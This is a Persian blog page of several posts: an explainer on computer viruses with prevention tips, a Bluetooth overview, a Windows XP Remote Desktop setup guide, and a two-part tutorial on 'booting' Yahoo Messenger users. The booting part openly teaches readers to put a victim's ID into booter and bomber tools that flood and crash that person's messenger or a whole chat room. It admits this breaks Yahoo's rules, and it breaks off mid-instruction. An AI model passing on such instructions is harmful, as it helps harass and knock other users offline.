در صورتيکه يکی از برنامه های آلوده از طريق ديسکت به شخص ديگری داده شود و يا فايل آلوده برای يک BBS ارسال تا بر روی سرويس دهنده قرار گيرد ، امکان آلوده شدن ساير برنامه ها نيز فراهم خواهد شد. فرآيند فوق نحوه تکثير يک ويروس کامپيوتری را نشان می دهد.
تکثير و گسترش از مهمترين ويژگی های يک ويروس کامپيوتری بوده و در صورت عدم امکان فوق ، عملا" موانع جدی در تکثير ويروس های کامپيوتری بوجود آمده و برخورد با اين نوع برنامه با توجه به ماهيت محدود ميدان عملياتی ، کار پيچيده ای نخواهد بود. يکی ديگر از ويژگی های مهم ويروس های کامپيوتری ، قابليت حملات مخرب آنان بمنظور آسيب رساندن به اطلاعات است . مرحله انجام حملات مخرب عموما" توسط نوع خاصی چاشنی ( نظير ماشه اسلحه ) صورت می پذيرد. نوع حملات متنوع بوده و از نمايش يک پيام ساده تا پاک نمودن تمام اطلاعات موجود را می تواند شامل گردد. ماشه فعال شدن ويروس می تواند بر اساس يک تاريخ خاص و يا تعداد نسخه های تکثير شده از يک ويروس باشد . مثلا" يک ويروس می تواند در تاريخ خاصی فعال و يا پس از ايجاد يکصد نسخه از خود ، فعال و حملات مخرب را آغاز نمايد.
ايجاد کنندگان ويروس های کامپيوتری افرادی آگاه و با تجربه بوده و همواره از آخرين حقه های موجود استفاده می نمايند. يکی از حقه های مهم در اين خصوص ، قابليت استقرار در حافظه و استمرار وضعيت اجرای خود در حاشيه می باشد ( ماداميکه سيستم روشن است). بدين ترتيب امکان تکثير اين نوع ويروس ها با شرايط مطلوبتری فراهم می گردد. يکی ديگر از حقه های موجود ، قابليت آلوده کردن " بوت سکتور " فلاپی ديسک ها و هارد ديسک ها ، می باشد. بوت سکتور شامل يک برنامه کوچک بمنظور استقرار بخش اوليه يک سيستم عامل در حافظه است . با استقرار ويروس های کامپيوتری در بوت سکتور ، اجراء شدن آنها تضمين خواهد شد. ( شرايط مناسب برای اجرای آنها بوجود می آيد). بدين ترتيب يک ويروس بلافاصله در حافظه مستقر و تا زمانيکه سيستم روشن باشد به حضور مخرب خود در حافظه ادامه خواهند داد. ويروس های بوت سکتور قادر به آلوده نمودن ساير بوت سکتورهای فلاپی ديسک های سالمی که دردرايو ماشين قرار خواهند گرفت ، نيز می باشد. در مکان هائی که کامپيوتر بصورت مشترک بين افراد استفاده می گردد ( نظير دانشگاه ها ) ، بهترين شرايط برای تکثير ويروس های کامپيوتری بوجود خواهد آمد ( نظير يک آتش سوزی بزرگ بوده که بسرعت همه چيز را نابود خواهد کرد ).
ويروس های قابل اجراء و بوت سکتور در حال حاضر تهديدی جدی تلقی نمی گردند. مهمترين علت در صحت ادعای فوق ، حجيم شدن ظرفيت برنامه های کامپيوتری است . امروزه اغلب برنامه های کامپيوتری بر روی ديسک های فشرده (CD) ذخيره و در اختيار متقاضيان قرار می گيرند. اطلاعات ذخيره شده بر روی ديسک های فشرده ، غير قابل تغيير بوده و تقريبا" آلودگی اطلاعاتی بر روی آنان غيرممکن است . استفاده از فلاپی ديسک برای توزيع و استفاده برنامه های کامپيوتری نظير آنچه که در اواسط 1980 استفاده می گرديد ، عموميت ندارد. و اين خود می تواند عاملی موثر در عدم گسترش سريع ويروس های اجرائی و خصوصا" ويروس های بوت سکتوری باشد.
در حال حاضر امکان وجود ويروس های اجرائی و يا بوت سکتور ، همچنان نيز وجود داشته و صرفا" امکان گسترش سريع آنها سلب شده است . محيط های مبتنی بر فلاپی ديسک ها ، برنامه های کوچک و ضعف موجود در برخی از سيستم های عامل ، حضور ملموس اين نوع ويروس های کامپيوتری را در دهه 80 ميسر و توجيه پذير کرده بود.
ويروس های پست الکترونيکی
آخرين اطلاعات موجود در رابطه با ويروس های کامپيوتری به " ويروس پست الکترونيکی " اشاره دارد. عملکرد ويروس "مليزا " در سال 1999 بسيار ديدنی بود. ويروس فوق از طريق مستندات ( سندها ) از نوع Word شرکت مايکروسافت ، گسترش و توسط پست الکترونيکی ارسال و توزيع می گرديد. عملکرد ويروس فوق بشکل زير بود :
فردی اقدام به ايجاد يک ويروس کرده ، آن را بعنوان يک سند Word برای " گروه های خبری اينترنت " ، ارسال می کرد. در ادامه هر فرد ديگری که فايل فوق را اخذ و آن را بر روی سيستم خود فعال می کرد ، زمينه اجراء و فعال شدن ويروس را هم فراهم می کرد. ويروس در ادامه ، سند ( بهمراه خود ويروس ) را از طريق يک پيام پست الکترونيکی برای اولين پنجاه نفر موجود در دفترچه آدرس ، ارسال می کرد. پيام الکترونيکی شامل يک متن دوستانه بهمراه نام شخص بود، بنابراين گيرنده بدون هيچگونه نگرانی اقدام به بازنمودن نامه می کرد. در ادمه ويروس ، پنجاه پيام جديد را از کامپيوتر گيرنده پيام ، ارسال می کرد. ويروس مليزا ، سريعترين ويروس از بعد گسترش تاکنون بوده است . همانگونه که در ابتدا اشاره گرديد ، عملکرد و سرعت باورنکردنی گسترش ويروس فوق باعث گرديد که تعدادی از شرکت های بزرگ ، سيستم های پست الکترونيکی خود را غيرفعال نمايند.
عملکرد ويروس ILOVEYOU ، که در سال 2000 مطرح گرديد ، بمراتب ساده تر از ويروس مليزا بود. ويروس فوق شامل کد محدودی بود که بعنوان يک Attachment ( ضميمه ) به يک پيام پست الکترونيکی متصل می شد. افراديکه پيام را دريافت می کردند با فعال نمودن ضميمه ، امکان اجرای ويروس را فراهم می کردند. کد ارسال شده در ادامه نسخه هائی از خود را تکثير و برای افراديکه نام آنها در دفترچه آدرس بود، ارسال می کرد.
ويروس مليزا از قابليت های برنامه نويسی توسط VBA)Visual Basic for Application) که در Ms Word وجود دارد ، استفاده می کرد. VBA يک زبان برنامه نويسی کامل بوده که امکانات متعددی نظير : تغيير محتويات فايل ها و يا ارسال پيام های پست الکترونيکی را فراهم می آورد. VBA دارای يک امکان مفيد و در عين حال خطرناک با نام " اجرای خودکار " است . يک برنامه نويس قادر به درج يک برنامه درون يک سند بوده و بلافاصله پس از باز نمودن سند ، شرايط اجرای کدهای فوق فراهم خواهد شد. ويروس مليزا بدين طريق برنامه نويسی شده بود. هر شخص که سند آلوده به ويروس مليزا را فعال می نمود ، بلافاصله زمينه فعال شدن ويروس نيز فراهم می گرديد. ويروس فوق قادر به ارسال 50 پيام پست الکترونيکی بوده و در ادامه يک فايل مرکزی با نام NORMAL.DOT را آلوده تا هر فايل ديگری که در آينده ذخيره می گردد ، نيز شامل ويروس گردد.
برنامه های مايکروسافت دارای يک ويژگی خاص با نام " حفاظت ماکروها در مقابل ويروس " بوده که از فايل ها و مستندات مربوطه را در مقابل ويروس حفاظت می نمايد. زمانيکه ويژگی فوق فعال گردد ، امکان " اجرای خودکار " ، غيرفعال می گردد. در چنين حالتی در صورتيکه يک سند سعی در اجرای خودکار کدهای ويروسی نمايد ، يک پيام هشداردهنده برروی نمايشگر ظاهر می گردد. متاسفانه ، اکثر کاربران دارای شناخت لازم و مناسب از ماکروها و ماکروهای ويروسی نبوده و بمحض مشاهد پيام هشداردهنده ، از آن چشم پوشی و صرفنظر می نمايند. در چنين مواردی ، ويروس با خيال آسوده اجراء خواهد شد. برخی ديگر از کاربران امکان حفاظتی فوق را غير فعال نموده و ناآگاهانه در توزيع و گسترش ويروس های کامپيوتری نظير مليزا ، سهيم می گردند.
پيشگيری از ويروس
با رعايت چندين نکته ساده می توان يک پوشش مناسب ايمنی در مقابل ويروس های کامپيوتری را ايجاد کرد :
● از سيستم های عامل ايمن و مطمئن نظير : يونيکس و ويندوز NT استفاده تا پوشش حفاظتی مناسبی در مقابل ويروس های سنتی ( نقطه مقابل ويروس های پست الکترونيکی ) ايجاد گردد.
● در صورتيکه از سيستم های عامل غير مطمئن و ايمن استفاده می گردد ، سيستم خود را مسلح به يک نرم افزار حفاظتی در رابطه با ويروس ها ، نمائيد.
● از نرم افزارهائی که توسط منابع غير مطمئن توزيع و ارائه می گردند ، اجتناب و نرم افزارهای مربوطه را از منابع مطمئن تهيه و نصب نمائيد. در ضمن امکان بوت شدن از طريق فلاپی ديسک را با استفاده از برنامه BIOS ، غير فعال کرده تا بدين طريق امکان آلوده شدن ويروس از طريق يک ديسکت که بصورت تصادفی در درايو مربوطه قرار گرفته شده است ، اجتناب شود.
● امکان "حفاظت ماکرو در مقابل ويروس " را در تمام برنامه های مايکروسافت فعال نموده و هرگز امکان اجرای ماکروهای موجود در يک سند را تا حصول اطمينان از عملکرد واقعی آنها ندهيد.
●
هرگز بر روی ضمائمی که بهمراه يک پيام پست الکترونيکی ارسال شده و شامل کدهای
اجرائی می باشند ، کليک ننمائيد. ضمائمی که دارای انشعاب DOC ( فايل های word) ، انشعاب XLS( صفحه گسترده ) ، تصاوير( فايل های با انشعاب GIF و يا JPG و ...) بوده ، صرفا" شامل
اطلاعات بوده و خطرناک نخواهند بود ( در رابطه با فايل های word و Execl به مسئله ماکرو و ويروس
های مربوطه دقت گردد ) . فايل های با انشعاب EXE,COM و يا
VBS اجرائی بوده و در صورت آلوده بودن به ويروس ، با اجرای
آنان بر روی سيستم خود زمينه فعال شدن آنها فرام خواهد شد. بنابراين لازم است از
اجرای هرگونه فايل اجرائی که بهمراه پست الکترونيکی برای شما ارسال می گردد (
خصوصا" موارديکه آدرس فرستنده برای شما گمنام و ناشناخنه اس ) ، صرفنظر
نمائيد
با تحقق اصول فوق ، يک پوشش ايمنی مناسب در رابطه با ويروس های کامپيوتری بوجود می آيد.
علت ايجاد ويروس های کامپيوتری
انسان ويروس ها را ايجاد می نمايند. برنامه نويس مجبور به نوشتن کد لازم ، تست آن بمنظور اطمينان از انتشار مناسب آن و در نهايت رها سازی و توزيع ويروس است . برنامه نويس همچنين می بايست نحوه حملات مخرب را نيز طراحی و پياده سازی نمايد ( تبين و پياده سازی سياست حملات مخرب). چرا انسان ها دست به چنين اقداماتی زده و خالق ويروس های کامپيوتری می گردند؟
در رابطه با سوال فوق ، حداقل سه دليل وجود دارد :
● دليل اول : اولين دليل مربوط به دلايل روانی با گرايش مخرب در وجود اين نوع افراد است . دليل فوق صرفا" به دنيای کامپيوتر برنمی گردد. مثلا" فردی بدون دليل ، شيشه اتومبيل فرد ديگری را شکسته تا اقدام به سرقت نمايد، نوشتن و پاشينن رنگ بر روی ساختمانها ، ايجاد حريق تعمدی در يک جنگل زيبا ، نمونه هائی در ساير زمينه ها بوده که بشريت به آن مبتلا است .برای برخی از افراد انجام عمليات فوق ، نوعی هيجان ايجاد می کند. در صورتيکه اين نوع اشخاص دارای توانائی لازم در رابطه با نوشتن برنامه های کامپيوتری باشند ، توان و پتانسيل خود را صرف ايجاد ويروس های مخرب خواهند کرد.
● دليل دوم : دليل دوم به هيجانات ناشی از مشاهده اعمال نادرست برمی گردد. تعدادی از افراد دارای يک شيفتگی خاص بمنظور مشاهده حوادثی نظير انفجار و تصادفات می باشند. قطعا" در مجاورت منزل شما به افرادی برخورد می نمايد که عاشق يادگيری نحوه استفاده از باروت ( و يا ترقه ) بوده و اين روند ادامه داشته و همزمان با افزايش سن اين افراد آنها تمايل به ايجاد بمب های بزرگتر را پيدا می نمايند. فرآيند فوق تا زمانيکه فرد مورد نظر خسته شده و يا به خود آسيبی برساند ، ادامه خواهد يافت . ايجاد يک ويروس کامپيوتری که بسرعت تکثير گردد مشابه موارد فوق است . افراديکه ويروس های کامپيوتری را ايجاد می نمايند ، بمبی درون کامپيوتر را ايجاد کرده اند و بموازات افزايش کامپيوترهای آلوده ، صدای انفجار بيشتری بگوش فرا خواهد رسيد.
● دليل سوم : دليل سوم به حس خود بزرگ جلوه دادن و هيجانات ناشی از آن برمی گردد. ( نظير صعود به قله اورست ) اورست موجود است و هر فرد می تواند مدعی صعود به آن گردد. در صورتيکه برنامه نويسی يک حفره امنيتی موجود در يک سيستم را مشاهده و امکان سوءاستفاده از آن وجود داشته باشد ، سريعا" بدنبال سوءاستفاده از وضعيت فوق (قبل از اينکه سايرين اقدام به ناکام نمودن وی را در اين زمينه داشته باشند) ، بر خواهند آمد.
متاسفانه اکثر ايجاد کنندگان ويروس های کامپيوتری فراموش کرده اند که آنها باعث ايجاد خرابی واقعی برای افراد واقعی هستند ( هيچ چيز در خيال و رويا نمی باشد ) حذف تمام اطلاعات موجود بر روی هارد ديسک اشخاص ، يک خرابکاری واقعی و نه خيالی! است .صرف زمان زياد در يک شرکت بزرگ برای برطرف نمودن فايل های آلوده به ويروس يک خرابکاری واقعی و نه خيالی ! است. حتی ارسال يک پيام ساده و بی محتوا نيز بدليل تلف شدن زمان ، يک نوع خرابکاری است . خوشبختانه قانون در اين زمينه سکوت نکرده و در اين راستا قوانين لازم تصويب و مجازات های سنگين برای افراديکه ويروس های کامپيوتری را ايجاد می نمايند ، پيش بينی شده است .
تاريخچه
ويروس های سنتی کامپيوتر در اواخر 1980 بشدت گسترش يافتند. موضوع فوق دارای چندين دليل است .
● دليل اول ، به گسترش استفاده از کامپيوترهای شخصی برمی گردد. قبل از 1980 استفاده از کامپيوتر در منازل بسيار کم و در مواردی شامل استفاده محدود بصورت سرگرمی و اسباب بازی بود. کامپيوترهای واقعی کمياب و صرفا" در اختيار متخصصين و کارشناسان مجرب گذاشته می گرديد. در سال 1980 ، استفاده از کامپيوتر بشدت گسترش و در موارد متعددی بخدمت گرفته گرديد.
● دومين دليل ، به استفاده از سيستم های BBS برمی گردد. افراد از طريق مودم به يک BBS متصل و انواع برنامه های مورد نياز خود را اخذ (Download) می کردند. بازيهای کامپيوتری نمونه ای از برنامه های کامپيوتری بودند که بشدت با استقبال مواجه و همواره از طريق مراکز BBS توزيع و منتشر می شدند. طبيعی است آلوده بودن يکی از بازيهای کامپيوتری که علاقه مندانن زيادی داشت ، می توانست در مدت زمان کوتاهی باعث انتشار و تکثير يک ويروس کامپيوتری گردد.
● سومين دليل ، استفاده فراوان از فلاپی ديسک ها بمنظور استفاده از برنامه های کامپيوتری بود. در سال 1980 ، برنامه ها دارای ظرفيت کم بوده و امکان استقرار يک سيستم عامل ، يک واژه پرداز و مستندات فراوانی در يک و يا دو فلاپی ديسک وجود داشت . اغلب کامپيوترها در آن زمان دارای هارد ديسک نبوده و می بايست برای راه اندازی کامپيوتر از فلاپی ديسک استفاده می شد ، استفاده از فلاپی ديسک ها ، زمينه ای مساعد برای توزيع و انتشار برنامه های آلوده را فراهم می کرد.
نظرات ()
نظرات ()
منبع: دانستنيهاي كامپيوتر، الكترونيك و مخابرات
Bluetooth كه بعضي ها در فارسي آن را به دندان آبي ترجمه كرده اند.
استانداردي براي امواج راديويي است كه كه براي ارتباطات بي سيم امپيوترهاي قابل حمل
و نقل (مانند lap top ها) و تلفن هاي همراه و وسايل الكترونيكي رايج استفاده مي
شوند اين امواج براي فاصله هاي نزديك استفاده مي شوند و براي ارتباطات بي سيم
تكنولوژي ارزاني محسوب مي شوند. و بوسيله اين تكنولوژي مي توانيد بين دو وسيله كه
داراي اين تكنولوژي باشند به صورت بي سيم پيغام، عكس يا هر كلاً اطلاعات رد و بدل
كنيد. راديوي Bluetooth در داخل يك ميكرو چيپ قرار دارد و در باند فركانسي 2.4 گيگا
هرتز عمل مي كند. اين تكنولوژي از سيستم "Frequency Hoping Spread Spectrum"
استفاده مي كند، كه سيگنال آن 1600 بار در ثانيه تغيير مي كند كه كمك بزرگي براي
جلوگيري از تداخل ناخواسته و غير مجاز است. علاوه بر اين بوسيله نرم افزار كد
شناسايي وسيله طرف مقابل چك مي شود. بدين ترتيب مي توان اطمينان حاصل كرد كه
اطلاعات شما فقط به مقصد مورد نظر مي رسد. اين امواج با دو قدرت وجود دارند. سطح
قدرت پايين تر كه محيطهاي كوچك را مي تواند پوشش دهد ( مثلاً داخل يك اتاق ) يا در
نوع با قدرت بالاتر كه رنج متوسطي را مي تواند پوشش دهد. ( مثلاً كل يك خانه را
متواند پوشش دهد. ) اين سيستم هم براي ارتباط نقطه به نقطه و هم براي ارتباط يك
نقطه با چند نقطه مي تواند استفاده شود. داراي پهناي باند 720Kbs و 10 متر قدرت
انتقال (در صورت تقويت تا 100 متر قابل افزايش است ) مي باشد. اين تكنولوژي كه از
سيستم گيرندگي و فرستندگي در جهت مناسب استفاده مي كند. قادر است امواج راديويي را
از ميان ديوار و ديگر موانع غير فلزي عبور دهد. اگر امواج مزاحم دستگاه ثالثي باعث
تداخل شود انتقال اطلاعات كند مي شود ولي متوقف نمي شود. با سيستمهاي امروزي بيش از
7 دستگاه مي توانند براي برقراري ارتباط با توليد كننده امواج در يك دستگاه ديگر
فعال شوند. به اين شيوه Piconet مي گويند چندين piconet را مي توان به يكديگر متصل
كرد كه يك scatternet را تشكيل مي دهند. Bluetooth SIG سازمان Bluetooth SIG يا
Special interest group در سال 1998 بوسيله سوني اريكسون، IBM، Intel، نوكيا توشيبا
بوجود آمد. و پس از آن شركتهاي تري كام، Lucent، مايكروسافت و موتورولا و بيش از
2000 كمپاني ديگر به اين سازمان پيوستند. فرايند صدور جواز و گواهينامه: قبل از
اينكه يك كارخانه بتواند محصولي كه از تكنولوژي بي سيم Bluetooth استفاده مي كند
وارد بازار كند بايد جواز آن را از دو جهت دريافت كند. ابتدا محصول مورد نظر
استانداردهايي لازم دارد كه بتواند با دستگاههاي ديگر كه داراي تكنولوژي بي سيم
Bluetooth هستند ارتباط برقرار كند. ديگر اينكه بايد مجوزهاي لازم براي اين سيستم
چه در كشور سازنده و چه در كشوري كه محصول به فروش مي رود مجوزهاي قانوني آنها را
دريافت كند.
نظرات ()|
راهي
براي نفوذ به سيستم (Remote PC
Desktop)
Remote Desktop Web Connection را انتخاب كرده، OK كنيد و سپس راهنماييهاي Wizard را دنبال كنيد.سپس از شما خواسته ميشود CD ويندوز را در CD درايو بگذاريد.اين كار را به صورت دستي انجام دهيد. بعد از اينكه مراحل نصب تمام شد ميتوانيد با استفاده از كامپيوتر ديگري كه از IE4.0 به بالا استفاده ميكند به Windows XPتان متصل شويد.بنابراين به برنامه جانبياي كه بر روي كامپيوتر شما (Client) نصب شده باشد نيازي نداريد.براي اتصال: 1-اينترنت اكسپلورر را باز كنيد و در قسمت AddressBar، http://machinename/tsweb را تايپ كنيد.(قسمتي كه machinename نوشته شدهاست، آدرس IP كامپيوتر مورد نظر ميباشد)
2-
با استفاده از صفحه
اي كه پیش رویتان ظاهر خواهد شد ميتوانيد به هر كامپيوتري كه بر روي آن
ويندوز XP
قرار دارد و يا هر
كامپيوتر ديگري كه Remote Desktop
بر روي آن نصب
باشد، وصل شويد.
3-اگر ميخواهيد اطلاعات كامپيوتر راه دوري را كه به آن متصل خواهيد شد، وارد كنيد، گزينهي Send logon information for this connection را تيك بزنيد.به اين ترتيب دو گزينه جديد ظاهر خواهد شد كه امكان وارد كردن password و Username را به شما ميدهد. نكاتي در مورد Proxy/Firewall زمانيكه Internet Connection Firewallي كه با ويندوز XP ارائه شدهاست، بر روي كامپيوتر شما به عنوان فايروال كار ميكند، به آساني ميتوانيد يورت مورد نظر را براي اتصال به كامپيوتر راه دور باز كنيد.اگر شبكهي كامپيوتري كه در نظر داريد به آن متصل شويد از فايروال ديگري استفاده ميكنيد، نميتوانيد به آساني پورت مربوطه را باز كنيد و براي اينكار بهتر است با مدير شبكه تماس بگيريد.ولي باز كردن پورت براي Internet Connection Firewall (ICF) آسان است: 1- به Start و سپس Control Panel برويد و network Connectios را فعال كنيد.بر روي آيكوني كه از طريق آن به اينترنت متصلايد كليك راست
كرده گزينهي Properties را انتخاب كنيد. توسط Remote Desktop Web Connection ، چه در خانه چه در راه ميتوانيد به همهي اطلاعات و قابليتهاي كامپيوتر
محل كارتان دستيابي داشته باشيد.ميتوانيد با Bookmark كردن كامپيوتر راهدورتان در اينترنت اكسپلورر، سريعتر به آن دستيابي پيدا
كنيد.
|
نظرات ()|
اموزش BOOT
در ياهو قسمت
دوم لطفا تعجب نکنيد ، اما من آمار بسيار دقيق و ناراحت کننده اي از چند Chat Room دارم که نشان دهنده بي سوادي بيش از حد برخي از افراد پرمدعا مي باشد !!! افرادي که از بهترين Booterها استفاده مي کندد ، اما نام آنرا هنوز بلد نيستند ! واقعا زشت است که ما ببينيم يک نفر به Chat Room مي آيد و پس از کلي سر و صدا (يا همان کل کل خودمان) مي گويد : من الآن همه شما را Hack مي کنم !!! و پس از چند دقيقه مي بينيم که آن آقاي مثلا حرفه اي يک Invite Bomber روشن مي کند از آن براي شما استفاده مي کند ! حالا کاشکي در Chat Room که تاثيري داشته باشد ! بخش Anti Boot اصطلاحات مربوط به AntiBoot : Anti Screen/Screen Shieldبرخي از Booterها و AntiBooterها بخشي بنام Anti Screen يا Screen Shield دارند که چنانچه اين قسمت را فعال کنيد صفحه PM يا Chat شما محو مي شود و شما ديگر قادر به ديدن پيغامهاي ديگران و خودتان نيستيد ولي Boot هم نمي شويد ، اين روش يکي از آسانترين روشهاي Anti Boot در YahooMessenger مي باشد ... : Answering Machine / PM Off برنامه هايي با اين نامها وجود دارند که شما براحتي در هنگام Chat کردن در Chat Room و يا Boot کردن Chat Room مي توانيد از آنها استفاده کنيد . اين برنامه هاي باعث مي شوند تا کليه PMهايي که براي شما مي رسد به صورت خودکار بسته شود و لطمه اي به کار شما وارد نکند و چنانچه براي شما PM نيايد شما Boot نمي شويد ...توضيح کلي : خود کلمه Anti به معني ضد مي باشد و Anti Boot يعني Bootنشد و يا ضد Boot . شايد تا بحال ديده باشيد که افرادي به Chat Room مي آيند و هر چقدر اذيت مي کنند کسي نميتواند آنها را Boot کند!! البته با آمدن YahooMesenger betaهمه اين مسائل در مورد Anti Boot حل شده و ديگر جاي بحث وجود ندارد . زيرا خود اين نسخه YahooMessenger هيچ وقت Boot نمي شود و بهترين Anti Boot است . البته برخي از افراد هستند که بدليل ضعيف بودن سيستم عامل و يا برخي قطعات مانند RAM ممکن است برخي اوقات Boot شوند ! ولي در حالت عادي امکان ندارد که اين Messenger با هيچ برنامه Boot ساده اي Boot شود پس خود Messenger بهترين Anti Boot است J! ولي ما به توضيح بيشتري مي پردازيم نا افرادي که ممکن است مشکلاتي داشته باشند هم Boot نشوند ... جتي Invite Bomb هم نشويم !!! اگر آدم کنجکاوي بوده باشيد ، تا کنون خودتان اين بخش را يافته بوديد ! اما من به شما مي گويم که چه کنيد تا ديگر Invite Bomb نشويد! ابتدا Yahoo Messenger خود را پس از Login شدن باز کرده ، ساس از قسمت Login در بالا سمت چپ Messenger ، قسمت Privacy Setting و يا Preference را آورده و در ستون سمت چپ Chat را انتخاب مي کنيد و بعد تيک کنار اين جمله را مي زنيد و Ok مي کنيد : Ignore Chat Invitation چگونه زماني که مي خواهيم در Chat Room صحبت کنيم و يا Boot کنيم کسي ما را Boot نکند ؟فقط کافي است شما يک برنامه با نامهاي مختلفي مانند : Answering Machine , PM Blocker , PM Off , … را Download کنيد . سپس آنرا در حالت فعال قرار مي دهيد و به صحبت کردن و يا Boot کردن در Chat Room مي پردازيد . در اين حين تمامي PMهايي که حاوي Boot و يا هرگونه Message است بصورت خودکار بسته مي شود و به کار شما لطمه اي نمي زند . Anti Screen چه استفاده اي دارد ؟ بهترين روش Anti Boot پس از ignoreکردن همين Anti Screen مي باشد . يعني بدون صفحه ! شما با داشتن يک برنامه Booter و يا Anti Booter ساده در زمانيکه شخصي Chat Room را Boot مي کند ، مي توانيد از Bootشدن خودتان جلوگيري کنيد و قبل از اينکه آن فرد شروع به Bootکردن مي کند ، شما Anti Screen را فعال کنيد ديگر Boot نمي شويد J! برنامه هايي براي Chat که Boot نمي شوند ! (Anti Spam Chat Clients) : برنامه هاي زيادي پس از اينکه Yahoo Messenger بوجود آمد ، ساخته شد اما با اين مزيت که ديگر بهيچ وجه Boot نمي شوند . YahElite اولين آنها بود که در حال حاضر Serverهاي آن از کار افتاده و ديگر کار نمي کند ( البته برخي مي گويند که کار مي کند) Cheeta Chat که فقط نسخه جديد آن Boot نمي شود . اين نرم افزار خوب است اما Voice ندارد . YChat که در حال حاضر بهترين Client براي Chat کردن در Yahoo البته پس از Yahoo Messenger مي باشد . اين سه برنامه هرگز Boot نمي شوند . البته ناگفته نماند که اين برنامه نويسهاي ناقلا پس از آمدن YahElite فوراً براي آن چند Booter ساختند L اما باز هم بوت نشد J !!! ايدي من در ياهو:b_khazamafحرف آخر و معرفي چند Anti Boot : بهترين راه براي Anti Boot استفاده نکردن از اينترنت است . بنظر من اين بهترين راه است J !!معرفي چند Anti Booter خوب : YahDefence 2 - RozerEdge - Anti Booter -Yatunne222 |
نظرات ()|
اموزش BOOT
در ياهو قسمت
اول بوت(boot): بوت کردن در Yahoo Chat و يا Yahoo PM صرفاً به معناي بيروت افتادن از Chat نيست ، بلکه به اين صورت است که حجم پيغامهاي موجود در صفحه Chat و يا صفحه PM زياد مي شود و رد و بدل کردن آن براي نرم افزار Yahoo Messenger و Serverهاي Yahoo تقريباً سخت مي شود و نرم افزار Messenger شما قفل مي کند و شما مجبور به بستن آن مي شويد و بدين صورت است که شما Boot مي شويد و يا ديگران را Boot مي کنيد ... آموزش Boot در Yahoo Messenger Beta براي شما تازه کارها : اول قبل از هر کاري به بيان چند مطلب اجتماعي و رواني مي پردازم و پس از اتمام آن به آموزش Boot مي پردازم . اگر مي خواهيد Booter بسيار قوي بشويد حتما اين مطالب را با دقت مطالعه بفرماييد زيرا تجربيات شخصي من در اين زمينه مي باشد : از اين لحظه که مي خواهي Boot کردن افراد ديگر را ياد بگيري بايد بداني که اين امر از نظر شرکت Yahoo غيرقانوني مي باشد ، حالا از اين که بگذريم و اينگونه فرض کنيم که اين امر عادي شده و معمول ، بايد بگويم برخي از افراد اصلا ظرفيت مسائلي چون Bootشدن و يا Hackشدن را ندارند به طرزي که شما آنها را در Chat که يک دنياي کاملا مجازي مي باشد اذيت مي کنيد مثلا با Boot کردن ، اما آنها مي خواهند در دنياي واقعي و اجتماع آنرا تلافي کنند !!! خب ، آيا اين درست است ؟ اگر آن فرد قادر است در اينترنت و Chat با شما مقابله کند وگرنه نبايد اين مسئله را از اين فضا به جاي ديگر انتقال دهد ! درست است که برخي از اين افراد Booter خودشان نيز بي ظرفيت هستند و تا 4 تا Booter پيدا مي کنند به Chat Room مي روند و احساس قدرت مي کنند و هرچه از دهانشان در مي آيد به ملت مي گويند ! اما با در نظر نگرفتن اين عده کم بايد به اين مسدله پي ببريم که Boot کردن و Booter قوي شدن يک ريسک به تمام معنا است !!! حالا اين يک مسئله که ممکن است مقداري شما را نا اميد کند ، اما باز بايد بگويم غصه نخوريد ، شما هم روزي Booter خوبي خواهيد شد ... خب اين مسائل به کنار ، بايد بگويم که از Boot کردن کاري آسانتر در Yahoo Messenger پيدا نمي شود ! فقط بايستي يک Booter خوب که به صورت يک برنامه کم حجم مي باشد را پيدا كنيد. چگونه Boot کنيم ؟ بسيار آسان و راحت ! در قسمتي که اکثر Booterها دارند و معمولا اين جمله ها ديده مي شود: Victim,lamer,type ID here,... در اين قسمت بايد اين جمله يا کلمه را پاک کنيد و ID فرد مورد نظري که مي خواهيد او را Boot کنيد را بنويسيد ، سپس يکي از انواع Bootها را انتخاب کرده و صبر مي کنيد ، مي بينيد که پس از انتخاب کردن آن نوع Boot ، جملات مجهولي درون صفحه PM نوشته مي شود و شخص مورد نظر شما Boot مي شود ! بهمين سادگي که مي بينيد ! اما درون Chat Room ديگر لازم نيست که ID کسي را بدهيد ، فقط يکي از Bootها را انتخاب مي کنيد و آنرا کليک مي کنيد ، اگر Booter شما قوي باشد مي بينيد که Chat Room کاملا Boot مي شود ! اصطلاحات مربوط به Boot فريز (Freeze/Lagg) : هنگاميکه پيغامي که براي شما بسيار به سختي مي آيد و حجم آن بسيار زياد است Ram کامپيوتر شما قادر به تحمل آن نيست ، زيرا سرعت فرستادن اين پيغام بسيار بالا ( از طرف شخص Freeze کننده) و سرعت دريافت آن از طرف شما بسيار کم است ، بهمين دليل شما Freeze مي شويد ( يعني يخ مي زنيد ) ، اين امر نيز بوسيله نوشتن يک دستور ساده قابل اجراست و هم چنين برنامه اي هم با نام 1066 Lagg اين کار را با سرعت بيشتري انجام مي دهد . بمبرها(bomber): برخي از نرم افزاها که با نام Protocal Bomber و يا PM Bomber شناخته مي شوند و براي بوت کردن در هر نسخه YahooMessenger قابل استفاده مي باشند . کار اين برنامه بدين صورت است که بوسيله يکي از Serverهاي Yahoo و يا بيشتر ، شخص مورد نظر شما را Bomb مي کند و بدين صورت مي باشد که شما Yahoo!ID و Password خود را به آن برنامه مي دهيد و اين برنامه شما را به آن Server متصل مي نمايد و از طريق آن بصورتي که خود Victim متوجه نمي شود که چه کسي در حال Bomb کردن او است ، او را بوت مي کند ... نمونه ديگري از Bomberها وجود دارد که کار با آنها بسيار ساده تر از Protocal Bomberها مي باشد . نونه اول آنها که با نام Invite Bomber شناخته مي شود ، بدين صورت است که شما ID شخص مورد نظر را وارد مي نماييد و اين برنامه چنانچه شما درون Chat Room باشيد ، با سرعت بسيار بالايي و تا زمانيکه آن را Stop نکنيد براي آن فرد Invite مي فرستد ( او را به Chat Room دعوت مي کند ) ، نمونه ديگر آنها که با نام Voice Bomber شناخته مي شوند بدين صورت است که يک صفحه PM از طرف شما براي شخص مقابل باز مي شود و Voice درون PM با سرعت بالايي باز و بسته مي شود ... طرز کار Bomberها : همانطور که قبلا هم گفته شد ، اين نرم افزارها يا اين Bomberها با استفاده از شناساندن ID و Password شما در Yahoo به يکي از Serverهاي فعال Yahoo ، شخص مورد نظر شما را به شکلهاي مختلفي که شما خودتان انتخاب مي کنيد Bomb مي کند . انواع Bombها عبارتند از : Voice Bomb , Cam Bomb , Send File , Add Friend , Mass PM , Shared File , Cam Decline Bomb , Conference Invitation Bomb , … چگونه از يک Protocal Bomber استفاده کنيم ؟ براحتي مي توانيد از يکPM Bomber يا Protocal Bomber استفاده کنيد ابتدا شما بايد ID و Password خود در Yahoo را وارد کنيد ( 